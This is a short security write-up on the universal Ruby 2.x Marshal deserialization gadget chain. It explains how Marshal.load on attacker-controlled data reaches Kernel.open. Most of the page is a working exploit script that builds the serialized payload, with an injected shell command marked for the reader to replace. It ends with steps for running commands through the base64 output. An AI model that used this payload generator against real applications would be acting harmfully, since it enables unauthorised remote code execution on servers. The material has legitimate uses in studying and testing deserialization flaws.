ruby-2.x-universal-rce-marshal-deserialization
Ruby 2.x Universal RCE: Marshal Deserialization
Overview
This vulnerability abuses unsafe deserialization in Ruby when an application calls:
Marshal.load(user_controlled_data)
If an attacker controls the serialized input, they can achieve Remote Code Execution (RCE).
What makes this issue special and dangerous is that it does NOT rely on Rails, gems, or third-party libraries.
info
It works on plain Ruby 2.x.
Why this matters
Before Luke Jahnke’s research, exploiting Ruby deserialization required:
- Rails-specific gadget chains, or
- Finding gadgets in loaded libraries (hard & environment-dependent)
Luke Jahnke discovered a universal gadget chain:
- Works in Ruby 2.x
- No external dependencies
- Only requirement: attacker-controlled
Marshal.load()
This drastically increases real-world exploitability.
Root Cause
Insecure deserialization
Ruby’s Marshal format:
- Can serialize objects
- Preserves class information
- Automatically calls special methods during loading
When deserializing:
- Ruby may invoke methods like:
marshal_loadinitializeto_proccall
This creates a code execution primitive.
The Gadget Chain
The universal gadget chain abuses Ruby core classes to eventually call:
Kernel.open(...) ### OR Just: open(...)
In Ruby:
-
Kernel.open()can execute commands -
Especially when passed strings like:
"|id"
"|/bin/sh -c whoami"
This makes it a perfect RCE sink.
Exploitation Flow
- Attacker crafts a malicious Marshal payload using:
exploit.rb
#!/usr/bin/env ruby
require "base64"
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
<strong>stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2") ## << Change Payload!!!
</strong>
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
- Use above script and change the custom command over there.
- Use the base64 string to execute commands.